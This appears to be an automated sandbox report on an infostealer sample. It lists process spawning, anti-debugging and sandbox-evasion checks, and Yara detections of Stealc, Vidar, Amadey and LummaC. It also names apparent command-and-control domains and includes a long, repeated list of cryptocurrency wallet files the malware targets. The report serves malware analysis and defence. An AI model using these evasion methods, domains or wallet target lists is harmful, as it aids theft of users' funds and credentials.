Source: file.exe, 00000000.00000002.2721503548.0000000000F81000.00000040.00000001.01000000.00000003.sdmp, DocumentsJKEHIIJJEC.exe, 00000016.00000000.2707618947.000000000116E000.00000080.00000001.01000000.0000000B.sdmp, DocumentsJKEHIIJJEC.exe, 00000016.00000002.2804276895.000000000116E000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000017.00000002.2836418700.0000000000E8E000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000000.2783130999.0000000000E8E000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000002.3439720575.0000000000E8E000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000000.3290900027.0000000000E8E000.00000080.00000001.01000000.0000000E.sdmp, a929660733.exe, 0000001B.00000002.3436655753.0000000000324000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe.22.dr, DocumentsJKEHIIJJEC.exe.0.dr	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: BKFBAECB.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: BKFBAECB.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsJKEHIIJJEC.exe

Code function: 22_2_04D00A73 rdtsc

22_2_04D00A73

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB15FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CB15FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6CAB3480

Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Code function: 22_2_00FB652B mov eax, dword ptr fs:[00000030h]	22_2_00FB652B
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Code function: 22_2_00FBA302 mov eax, dword ptr fs:[00000030h]	22_2_00FBA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00CDA302 mov eax, dword ptr fs:[00000030h]	23_2_00CDA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00CD652B mov eax, dword ptr fs:[00000030h]	23_2_00CD652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CDA302 mov eax, dword ptr fs:[00000030h]	25_2_00CDA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CD652B mov eax, dword ptr fs:[00000030h]	25_2_00CD652B

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6CAEB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6CAEB1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6252, type: MEMORYSTR

LummaC encrypted strings found

Source: a929660733.exe, 0000001B.00000003.3413545157.0000000005010000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: a929660733.exe, 0000001B.00000003.3413545157.0000000005010000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: a929660733.exe, 0000001B.00000003.3413545157.0000000005010000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: peepburry828.sbs
Source: a929660733.exe, 0000001B.00000003.3413545157.0000000005010000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: p10tgrace.sbs
Source: a929660733.exe, 0000001B.00000003.3413545157.0000000005010000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: processhol.sbs

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJKEHIIJJEC.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJKEHIIJJEC.exe "C:\Users\user\DocumentsJKEHIIJJEC.exe"
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe "C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe"

Source: file.exe, file.exe, 00000000.00000002.2721503548.0000000000F81000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: "Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAEB341 cpuid

0_2_6CAEB341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAB35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6CAB35A0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 25_2_00CE2517 GetTimeZoneInformation,

25_2_00CE2517

Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 23.2.skotes.exe.ca0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.skotes.exe.ca0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.DocumentsJKEHIIJJEC.exe.f80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.2833861204.0000000000CA1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3438144331.0000000000CA1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2803862444.0000000000F81000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2721107227.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2202530763.0000000005590000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2722740091.00000000017FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6252, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6252, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi 